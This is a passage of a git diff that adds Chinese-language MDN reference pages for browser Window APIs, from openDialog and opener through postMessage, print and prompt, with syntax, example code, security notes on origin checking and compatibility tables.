+ name 
+
+ The window name (optional). See window.open description for detailed information.
+
+ features 
+
+ See window.open description for description.
+
+ arg1, arg2, ... 
+
+ The arguments to be passed to the new window (optional).
+
+

例子

+
var win = openDialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98);
+
+

注意

+

New Features

+

all - Initially activates (or deactivates ("all=no")) all chrome (except the behaviour flags chrome, dialog and modal). These can be overridden (so "menubar=no,all" turns on all chrome except the menubar.) This feature is explicitly ignored by window.open. window.openDialog finds it useful because of its different default assumptions.

+

Default behaviour

+

The chrome and dialog features are always assumed on, unless explicitly turned off ("chrome=no"). openDialog treats the absence of the features parameter as does window.open, (that is, an empty string sets all features to off) except chrome and dialog, which default to on. If the features parameter is a zero-length string, or contains only one or more of the behaviour features (chrome, dependent, dialog and modal) the chrome features are assumed "OS' choice." That is, window creation code is not given specific instructions, but is instead allowed to select the chrome that best fits a dialog on that operating system.

+

Passing extra parameters to the dialog

+

To pass extra parameters into the dialog, you can simply supply them after the <tt>windowFeatures</tt> parameter:

+
openDialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98);
+
+

The extra parameters will then get packed into a property named <tt>arguments</tt> of type Array, and this property gets added to the newly opened dialog window.

+

To access these extra parameters from within dialog code, use the following scheme:

+
var food  = window.arguments[0];
+var price = window.arguments[1];
+
+

Note that you can access this property from within anywhere in the dialog code. (Another example).

+

Returning values from the dialog

+

Since <tt>window.close()</tt> erases all properties associated with the dialog window (i.e. the variables specified in the JavaScript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs).

+

To be able to pass values back to the caller, you have to supply some object via the extra parameters. You can then access this object from within the dialog code and set properties on it, containing the values you want to return or preserve past the <tt>window.close()</tt> operation.

+
var retVals = { address: null, delivery: null };
+openDialog("http://example.tld/zzz.xul", "dlg", "modal", "pizza", 6.98, retVals);
+
+

If you set the properties of the <tt>retVals</tt> object in the dialog code as described below, you can now access them via the <tt>retVals</tt> array after the <tt>openDialog()</tt> call returns.

+

Inside the dialog code, you can set the properties as follows:

+
var retVals = window.arguments[2];
+retVals.address  = enteredAddress;
+retVals.delivery = "immediate";
+
+

See also . (Another example).

+

Specification

+

{{ DOM0() }}

+

{{ languages( { "pl": "pl/DOM/window.openDialog" } ) }}

diff --git a/files/zh-cn/web/api/window/opener/index.html b/files/zh-cn/web/api/window/opener/index.html new file mode 100644 index 0000000000..52317273f7 --- /dev/null +++ b/files/zh-cn/web/api/window/opener/index.html @@ -0,0 +1,38 @@ +--- +title: window.opener +slug: Web/API/Window/opener +translation_of: Web/API/Window/opener +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回打开当前窗口的那个窗口的引用,例如:在window A中打开了window B,B.opener 返回 A.

+ +

语法

+ +
var objRef = window.opener;
+
+ +

例子

+ +
 if (window.opener != indexWin) {
+     referToTop(window.opener);
+ }
+
+ +

备注

+ +

如果当前窗口是由另一个窗口打开的, window.opener保留了那个窗口的引用. 如果当前窗口不是由其他窗口打开的, 则该属性返回 null.

+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( { "fr": "fr/DOM/window.opener", "ja": "ja/DOM/window.opener", "pl": "pl/DOM/window.opener", "en": "en/DOM/window.opener" } ) }}

+ +

浏览器兼容性

+ +

{{Compat("api.Window.opener")}}

+ +

注意:在Chrome78最近的几个版本,如果A、B页面跨域,A页面中打开B页面,在B页面使用console.log在控制台打印window.opener会报跨域的错误。

diff --git a/files/zh-cn/web/api/window/orientationchange_event/index.html b/files/zh-cn/web/api/window/orientationchange_event/index.html new file mode 100644 index 0000000000..0578edbe08 --- /dev/null +++ b/files/zh-cn/web/api/window/orientationchange_event/index.html @@ -0,0 +1,73 @@ +--- +title: orientationchange +slug: Web/API/Window/orientationchange_event +tags: + - API + - Event + - Window + - onorientationchange + - orientationchange + - 参考 + - 方向 +translation_of: Web/API/Window/orientationchange_event +--- +

orientationchange事件在设备的纵横方向改变时触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler{{domxref("Window/onorientationchange", "onorientationchange")}}
+ +

示例

+ +

你可以在{{domxref("EventTarget/addEventListener", "addEventListener")}} 方法中使用 orientationchange 事件:

+ +
window.addEventListener("orientationchange", function() {
+  console.log("the orientation of the device is now " + screen.orientation.angle);
+});
+
+ +

或者使用 {{domxref("Window/onorientationchange", "onorientationchange")}} 事件处理程序属性:

+ +
window.onorientationchange = function() {
+  console.log("the orientation of the device is now " + screen.orientation.angle);
+};
+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('Compat', '#event-orientationchange', 'orientationchange')}}{{Spec2('Compat')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.orientationchange_event")}}

diff --git a/files/zh-cn/web/api/window/outerheight/index.html b/files/zh-cn/web/api/window/outerheight/index.html new file mode 100644 index 0000000000..9bc6b127af --- /dev/null +++ b/files/zh-cn/web/api/window/outerheight/index.html @@ -0,0 +1,77 @@ +--- +title: Window.outerHeight +slug: Web/API/Window/outerHeight +translation_of: Web/API/Window/outerHeight +--- +
+ {{APIRef}}
+

概述

+

Window.outerHeight 获取整个浏览器窗口的高度(单位:像素),包括侧边栏(如果存在)、窗口镶边(window chrome)和窗口调正边框(window resizing borders/handles)。

+

该属性为只读,没有默认值。

+

语法

+
outWindowHeight = window.outerHeight;
+
+

outWindowHeight 为窗口的外层的高度。

+

备注

+

要改变窗口的大小,请查看 {{domxref("window.resizeBy()")}} 和 {{domxref("window.resizeTo()")}}。

+

要获取窗口的内层高度,即页面被显示区域的高度,可查看 {{domxref("window.innerHeight")}}。

+

图像示例

+

下面的示意图展示了 outerHeightinnerHeight 两者的不同。

+

innerHeight vs outerHeight illustration

+

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1{{CompatGeckoDesktop(1.0)}}993
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1{{CompatGeckoMobile(1.0)}}993
+
+

规范

+

DOM Level 0。不属于任何 W3C 技术规范或推荐。

+

相关链接

+ diff --git a/files/zh-cn/web/api/window/outerwidth/index.html b/files/zh-cn/web/api/window/outerwidth/index.html new file mode 100644 index 0000000000..fc7a7ca3db --- /dev/null +++ b/files/zh-cn/web/api/window/outerwidth/index.html @@ -0,0 +1,71 @@ +--- +title: Window.outerWidth +slug: Web/API/Window/outerWidth +translation_of: Web/API/Window/outerWidth +--- +
+ {{APIRef}}
+

概述

+

Window.outerWidth 获取浏览器窗口外部的宽度。表示整个浏览器窗口的宽度,包括侧边栏(如果存在)、窗口镶边(window chrome)和调正窗口大小的边框(window resizing borders/handles)。

+

该属性为只读,没有默认值。

+

语法

+
outWindowWidth = window.outerWidth;
+
+

outWindowWidth 是窗口的外层的宽度。

+

备注

+

要改变一个窗口的大小,可参考 {{domxref("window.resizeBy()")}} 和 {{domxref("window.resizeTo()")}}。

+

要获取一个窗口的内层宽度(inner width),即页面被展示的区域,请参考 {{domxref("window.innerWidth")}}。

+

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1{{CompatGeckoDesktop(1.0)}}993
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1{{CompatGeckoMobile(1.0)}}993
+
+

规范

+

DOM Level 0。不属于任何 W3C 技术规范或推荐。the To do in Notes

+

相关链接

+ diff --git a/files/zh-cn/web/api/window/pagehide_event/index.html b/files/zh-cn/web/api/window/pagehide_event/index.html new file mode 100644 index 0000000000..a95bf134aa --- /dev/null +++ b/files/zh-cn/web/api/window/pagehide_event/index.html @@ -0,0 +1,98 @@ +--- +title: 'Window: 页面隐藏事件(pagehide event)' +slug: Web/API/Window/pagehide_event +tags: + - API + - Event + - Navigation + - pagehide event + - sendBeacon + - 前端监控 + - 埋点 + - 数据上报 +translation_of: Web/API/Window/pagehide_event +--- +
{{APIRef("HTML DOM")}}
+ +

当浏览器在显示与会话历史记录不同的页面的过程中隐藏当前页面时, pagehide(页面隐藏)事件会被发送到一个{{domxref("Window")}} 。例如,当用户单击浏览器的“后退”按钮时,当前页面在显示上一页之前会收到一个pagehide(页面隐藏)事件。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(冒泡)No
Cancelable(可取消)No
Interface(接口){{domxref("PageTransitionEvent")}}
Event handler property(事件处理程序属性){{domxref("Window.onpagehide", "onpagehide")}}
+ +

例子

+ +

在此示例中,建立了一个事件处理程序以监视 pagehide (页面隐藏)事件,并在持久保存页面以进行可能的重用时执行特殊处理。

+ +
window.addEventListener("pagehide", event => {
+  if (event.persisted) {
+    /* the page isn't being discarded, so it can be reused later */
+  }
+}, false);
+
+ +

这也可以使用 {{domxref("Window")}} 上的 {{domxref("Window.onpagehide", "onpagehide")}} 事件处理程序属性来编写:

+ +
window.onpagehide = event => {
+  if (event.persisted) {
+    /* the page isn't being discarded, so it can be reused later */
+  }
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsing-the-web.html#event-pagehide', 'pagehide')}}{{Spec2('HTML WHATWG')}}Initial specification.
{{SpecName('HTML5 W3C', 'browsers.html#event-pagehide', 'pagehide')}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.pagehide_event")}}

+ +

了解更多

+ + + +
+
+
diff --git a/files/zh-cn/web/api/window/pagexoffset/index.html b/files/zh-cn/web/api/window/pagexoffset/index.html new file mode 100644 index 0000000000..d6f823e4a4 --- /dev/null +++ b/files/zh-cn/web/api/window/pagexoffset/index.html @@ -0,0 +1,92 @@ +--- +title: Window.pageXOffset +slug: Web/API/Window/pageXOffset +tags: + - API + - CSSOM +translation_of: Web/API/Window/pageXOffset +--- +
{{ APIRef() }}
+ +

这是 scrollX 的别名

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-pagexoffset', 'window.pageXOffset') }}{{ Spec2('CSSOM View') }} 
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/pageyoffset/index.html b/files/zh-cn/web/api/window/pageyoffset/index.html new file mode 100644 index 0000000000..acef4e640d --- /dev/null +++ b/files/zh-cn/web/api/window/pageyoffset/index.html @@ -0,0 +1,92 @@ +--- +title: Window.pageYOffset +slug: Web/API/Window/pageYOffset +tags: + - API + - CSSOM +translation_of: Web/API/Window/pageYOffset +--- +
{{ APIRef("CSSOM View") }}
+ +

只读属性pageYOffsetscrollY 的别名。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}{{ Spec2('CSSOM View') }} 
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/parent/index.html b/files/zh-cn/web/api/window/parent/index.html new file mode 100644 index 0000000000..58c756ee2e --- /dev/null +++ b/files/zh-cn/web/api/window/parent/index.html @@ -0,0 +1,39 @@ +--- +title: window.parent +slug: Web/API/Window/parent +translation_of: Web/API/Window/parent +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回当前窗口的父窗口对象.

+ +

如果一个窗口没有父窗口,则它的 parent 属性为自身的引用.

+ +

如果当前窗口是一个 <iframe>, <object>, 或者 <frame>,则它的父窗口是嵌入它的那个窗口

+ +

语法

+ +
var parentWindow = window.parent;
+
+ +

例子

+ +
if (window.parent != window.top) {
+  // 至少有三层窗口
+}
+
+ +

相关链接

+ + + +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( { "fr": "fr/DOM/window.parent", "ja": "ja/DOM/window.parent" , "en": "en/DOM/window.parent"} ) }}

diff --git a/files/zh-cn/web/api/window/performance/index.html b/files/zh-cn/web/api/window/performance/index.html new file mode 100644 index 0000000000..926f4b6b40 --- /dev/null +++ b/files/zh-cn/web/api/window/performance/index.html @@ -0,0 +1,35 @@ +--- +title: Window.performance +slug: Web/API/Window/performance +tags: + - Window.performance + - analytics + - 前端代码埋点 +translation_of: Web/API/Window/performance +--- +
{{APIREf}}
+ +
Web Performance API允许网页访问某些函数来测量网页和Web应用程序的性能,包括 Navigation Timing API和高分辨率时间数据。
+ +

方法

+ +
+
{{domxref("Performance.mark()", "performance.mark()")}}
+
通过一个给定的名称,将该名称(作为键)和对应的{{domxref("DOMHighResTimeStamp")}}(作为值)保存在一个哈希结构里。该键值对表示了从某一时刻(译者注:某一时刻通常是 navigationStart 事件发生时刻)到记录时刻间隔的毫秒数。(译者注:该方法一般用来多次记录时间,用于求得各记录间的时间差)
+
+ +
+
{{domxref("Performance.now()", "performance.now()")}}
+
该方法返回一个{{domxref("DOMHighResTimeStamp")}}对象,该对象表示从某一时刻(译者注:某一时刻通常是 navigationStart 事件发生时刻)到调用该方法时刻的毫秒数。
+
+ +

属性

+ +
+
{{domxref("Performance.timing", "performance.timing")}}
+
是一个{{domxref("PerformanceTiming")}} 对象,包含延迟相关的性能信息。
+
{{domxref("Performance.navigation", "performance.navigation")}}
+
是一个 {{domxref("PerformanceNavigation")}} 对象,该对象表示在当前给定浏览上下文中网页导航的类型(译者注:TYPE_BACK_FORWARD,TYPE_NAVIGATE, TYPE_RELOAD,TYPE_RESERVED)以及次数。
+
performance.memory
+
在Chrome中添加的一个非标准扩展。
+
diff --git a/files/zh-cn/web/api/window/personalbar/index.html b/files/zh-cn/web/api/window/personalbar/index.html new file mode 100644 index 0000000000..e689c2cfff --- /dev/null +++ b/files/zh-cn/web/api/window/personalbar/index.html @@ -0,0 +1,73 @@ +--- +title: Window.personalbar +slug: Web/API/Window/personalbar +translation_of: Web/API/Window/personalbar +--- +
{{APIRef}}
+ +

概要

+ +

返回 personalbar 对象,其可见性可以在窗口中切换。

+ +

语法

+ +
objRef =window.personalbar
+
+ +

示例

+ +

{{todo('https://bugzilla.mozilla.org/show_bug.cgi?id=790023')}}

+ +

{{deprecated_inline}} The following complete HTML example shows the way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window. Due to deprecation of enablePrivilege this functionality can not be used in web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Various DOM Tests</title>
+
+<script>
+// changing bar states on the existing window
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.personalbar.visible = !window.personalbar.visible;
+</script>
+
+</head>
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+
+ +

笔记

+ +

When you load the example page above, the browser displays the following dialog:

+ +

To toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. Also be aware that dynamically updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-window-personalbar', 'Window.personalbar')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-personalbar', 'Window.personalbar')}}{{Spec2('HTML5 W3C')}} 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/popstate_event/index.html b/files/zh-cn/web/api/window/popstate_event/index.html new file mode 100644 index 0000000000..ef4c63f871 --- /dev/null +++ b/files/zh-cn/web/api/window/popstate_event/index.html @@ -0,0 +1,158 @@ +--- +title: popstate +slug: Web/API/Window/popstate_event +tags: + - popstate +translation_of: Web/API/Window/popstate_event +--- +

当活动历史记录条目更改时,将触发popstate事件。如果被激活的历史记录条目是通过对history.pushState()的调用创建的,或者受到对history.replaceState()的调用的影响,popstate事件的state属性包含历史条目的状态对象的副本。

+ +

需要注意的是调用history.pushState()history.replaceState()不会触发popstate事件。只有在做出浏览器动作时,才会触发该事件,如用户点击浏览器的回退按钮(或者在Javascript代码中调用history.back()或者history.forward()方法)

+ +

不同的浏览器在加载页面时处理popstate事件的形式存在差异。页面加载时Chrome和Safari通常会触发(emit )popstate事件,但Firefox则不会。

+ +

常规信息

+ +
+
Specification
+
HTML5
+
Interface
+
PopStateEvent
+
Bubbles
+
+
Cancelable
+
+
Target
+
defaultView
+
Default Action
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The browsing context (window).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
state {{readonlyInline}}anyThe current history entry's state object (if any).
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic supportYes{{ CompatGeckoDesktop("2") }}10.0Yeslimited
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0 (buggy in 2.2 and 2.3){{ CompatGeckoMobile("2") }}10.0Yeslimited
+
+ +

示例

+ +

 打开http://example.com/example.html页面运行以下代码, 会按预期那样打出log提示。

+ +
window.addEventListener('popstate', (event) => {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+});
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+ +

使用onpopstate事件处理程序属性的相同示例:

+ +
window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+ +

注意,虽然原始的历史项( http://example.com/example.html所对应的)没有关联的状态对象(state object),但稍后调用history.back()激活该历史项时,仍会触发popstate事件。

+ +

相关事件

+ + + +

也可以看看

+ + diff --git a/files/zh-cn/web/api/window/postmessage/index.html b/files/zh-cn/web/api/window/postmessage/index.html new file mode 100644 index 0000000000..f06a29c7de --- /dev/null +++ b/files/zh-cn/web/api/window/postmessage/index.html @@ -0,0 +1,173 @@ +--- +title: window.postMessage +slug: Web/API/Window/postMessage +tags: + - AJAX + - API + - CORS + - DOM + - Window.postMessage() + - postMessage() + - 参考 + - 方法 +translation_of: Web/API/Window/postMessage +--- +
{{ApiRef("HTML DOM")}}
+ +

window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有当执行它们的页面位于具有相同的协议(通常为https),端口号(443为https的默认值),以及主机  (两个页面的模数 {{domxref("Document.domain")}}设置为相同的值) 时,这两个脚本才能相互通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。

+ +

从广义上讲,一个窗口可以获得对另一个窗口的引用(比如 targetWindow = window.opener),然后在窗口上调用 targetWindow.postMessage() 方法分发一个  {{domxref("MessageEvent")}} 消息。接收消息的窗口可以根据需要自由处理此事件。传递给 window.postMessage() 的参数(比如 message )将通过消息事件对象暴露给接收消息的窗口

+ +

语法

+ +
otherWindow.postMessage(message, targetOrigin, [transfer]);
+ +
+
otherWindow
+
其他窗口的一个引用,比如iframe的contentWindow属性、执行window.open返回的窗口对象、或者是命名过或数值索引的window.frames
+
message
+
将要发送到其他 window的数据。它将会被结构化克隆算法序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。[1]
+
targetOrigin
+
通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串"*"(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。这个机制用来控制消息可以发送到哪些窗口;例如,当用postMessage传送密码时,这个参数就显得尤为重要,必须保证它的值与这条包含密码的信息的预期接受者的origin属性完全一致,来防止密码被恶意的第三方截获。如果你明确的知道消息应该发送到哪个窗口,那么请始终提供一个有确切值的targetOrigin,而不是*。不提供确切的目标将导致数据泄露到任何对数据感兴趣的恶意站点。
+
transfer {{optional_Inline}}
+
是一串和message 同时传递的 {{domxref("Transferable")}} 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
+
+ +

The dispatched event

+ +

执行如下代码, 其他window可以监听分发的message:

+ +
window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  // For Chrome, the origin property is in the event.originalEvent
+  // object.
+  // 这里不准确,chrome没有这个属性
+  // var origin = event.origin || event.originalEvent.origin;
+  var origin = event.origin
+  if (origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+
+ +

 message 的属性有:

+ +
+
data
+
从其他 window 中传递过来的对象。
+
origin
+
调用 postMessage  时消息发送方窗口的 origin . 这个字符串由 协议、“://“、域名、“ : 端口号”拼接而成。例如 “https://example.org (隐含端口 443)”、“http://example.net (隐含端口 80)”、“http://example.com:8080”。请注意,这个origin不能保证是该窗口的当前或未来origin,因为postMessage被调用后可能被导航到不同的位置。
+
source
+
对发送消息的窗口对象的引用; 您可以使用此来在具有不同origin的两个窗口之间建立双向通信。
+
+ +
+
+ +

安全问题

+ +

如果您不希望从其他网站接收message,请不要为message事件添加任何事件侦听器。 这是一个完全万无一失的方式来避免安全问题。

+ +

如果您确实希望从其他网站接收message,请始终使用origin和source属性验证发件人的身份。 任何窗口(包括例如http://evil.example.com)都可以向任何其他窗口发送消息,并且您不能保证未知发件人不会发送恶意消息。 但是,验证身份后,您仍然应该始终验证接收到的消息的语法。 否则,您信任只发送受信任邮件的网站中的安全漏洞可能会在您的网站中打开跨网站脚本漏洞。

+ +

当您使用postMessage将数据发送到其他窗口时,始终指定精确的目标origin,而不是*。 恶意网站可以在您不知情的情况下更改窗口的位置,因此它可以拦截使用postMessage发送的数据。

+ +

示例

+ +
/*
+ * A窗口的域名是<http://example.com:8080>,以下是A窗口的script标签下的代码:
+ */
+
+var popup = window.open(...popup details...);
+
+// 如果弹出框没有被阻止且加载完成
+
+// 这行语句没有发送信息出去,即使假设当前页面没有改变location(因为targetOrigin设置不对)
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// 假设当前页面没有改变location,这条语句会成功添加message到发送队列中去(targetOrigin设置对了)
+popup.postMessage("hello there!", "http://example.org");
+
+function receiveMessage(event)
+{
+  // 我们能相信信息的发送者吗?  (也许这个发送者和我们最初打开的不是同一个页面).
+  if (event.origin !== "http://example.org")
+    return;
+
+  // event.source 是我们通过window.open打开的弹出页面 popup
+  // event.data 是 popup发送给当前页面的消息 "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+
+ +
/*
+ * 弹出页 popup 域名是<http://example.org>,以下是script标签中的代码:
+ */
+
+//当A页面postMessage被调用后,这个function被addEventListener调用
+function receiveMessage(event)
+{
+  // 我们能信任信息来源吗?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source 就当前弹出页的来源页面
+  // event.data 是 "hello there!"
+
+  // 假设你已经验证了所受到信息的origin (任何时候你都应该这样做), 一个很方便的方式就是把event.source
+  // 作为回信的对象,并且把event.origin作为targetOrigin
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+
+ +

注意

+ +

任何窗口可以在任何其他窗口访问此方法,在任何时间,无论文档在窗口中的位置,向其发送消息。 因此,用于接收消息的任何事件监听器必须首先使用origin和source属性来检查消息的发送者的身份。 这不能低估:无法检查origin和source属性会导致跨站点脚本攻击。

+ +

与任何异步调度的脚本(超时,用户生成的事件)一样,postMessage的调用者不可能检测到侦听由postMessage发送的事件的事件处理程序何时抛出异常。

+ +

分派事件的origin属性的值不受调用窗口中document.domain的当前值的影响。

+ +

仅对于IDN主机名,origin属性的值不是始终为Unicode或punycode; 在使用此属性时,如果您期望来自IDN网站的消息,则最大程度地兼容性检查IDN和punycode值。 这个值最终将始终是IDN,但现在你应该同时处理IDN和punycode表单。

+ +

当发送窗口包含 javascript: 或 data: URL时,origin属性的值是加载URL的脚本的

+ +

在扩展{{Non-standard_inline}}中使用window.postMessage

+ +

window.postMessage可用于以chrome代码运行的JavaScript(例如,在扩展和特权代码中),但是分派事件的source属性总是为空作为安全限制。 (其他属性具有其期望值。)发送到位于chrome:URL的窗口的消息的targetOrigin参数当前被错误解释,使得将导致发送消息的唯一值为“*”。 由于此值是不安全的,当目标窗口可以导航到其他地方的恶意网站,建议postMessage不用于与chrome:页面的沟通; 使用不同的方法(如打开窗口时的查询字符串)与chrome窗口进行通信。 最后,在文件中向页面发布消息:URL当前要求targetOrigin参数为“*” file://不能用作安全限制; 这个限制可能会在将来被修改。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态状态
{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Window.postMessage")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/print/index.html b/files/zh-cn/web/api/window/print/index.html new file mode 100644 index 0000000000..fd775a3283 --- /dev/null +++ b/files/zh-cn/web/api/window/print/index.html @@ -0,0 +1,20 @@ +--- +title: window.print +slug: Web/API/Window/print +translation_of: Web/API/Window/print +--- +

{{ ApiRef() }}

+

概述

+

打开打印对话框打印当前文档.

+

语法

+
window.print()
+
+

规范

+

{{ DOM0() }}

+

相关链接

+
    +
  1. Printing
  2. +
  3. window.onbeforeprint
  4. +
  5. window.onafterprint
  6. +
+

{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "en": "en/DOM/window.print" } ) }}

diff --git a/files/zh-cn/web/api/window/prompt/index.html b/files/zh-cn/web/api/window/prompt/index.html new file mode 100644 index 0000000000..93ce29190f --- /dev/null +++ b/files/zh-cn/web/api/window/prompt/index.html @@ -0,0 +1,54 @@ +--- +title: window.prompt +slug: Web/API/Window/prompt +translation_of: Web/API/Window/prompt +--- +

{{ ApiRef() }}

+ +

概述

+ +

显示一个对话框,对话框中包含一条文字信息,用来提示用户输入文字。

+ +

语法

+ +
result = window.prompt(text, value);
+
+ + + +

例子

+ +
var sign = prompt("你是什么星座的?");
+if (sign == "天蝎座"){
+   alert("哇! 我也是天蝎座的耶!");
+}
+// 有多种使用prompt方法的方式
+var sign = window.prompt(); // 打开空的提示窗口
+var sign = prompt();       // 打开空的提示窗口
+var sign = window.prompt('觉得很幸运吗?'); // 打开显示提示文本为"觉得很幸运吗?"的提示窗口
+var sign = window.prompt('觉得很幸运吗?','是的'); // 打开显示提示文本为"觉得很幸运吗?"并且输入框默认值为"是的"的提示窗口
+
+ +

当用户点击"确定"按钮后,文本输入框中的文字被返回。如果文本输入框中为空,则返回一个空字符串。如果用户点击"取消"按钮,则返回null。

+ +

注意

+ +
一个prompt对话框,包含一个单行文本框,一个“取消”按钮,一个“确定”按钮,在对话框关闭时,返回用户输入到文本框内的值(可能为空)。
+
+prompt和alert以及类似的对话框都是模态窗口,它们会阻止用户激活程序其他部分的界面,直到该对话框关闭。因此,你不应该过度使用该方法。(译注:在content上下文,Firefox 4 以上版本使用非模态的对话框)。
+ +
Chrome上下文执行的脚本(例如扩展开发)应该使用XPCOM nsIPromptService  来替代window.prompt。
+ +

规范

+ +

{{ DOM0() }}

+ +

相关链接

+ +

alert, confirm

+ +

{{ languages( { "fr": "fr/DOM/window.prompt", "ja": "ja/DOM/window.prompt", "pl": "pl/DOM/window.prompt", "en": "en/DOM/window.prompt" } ) }}

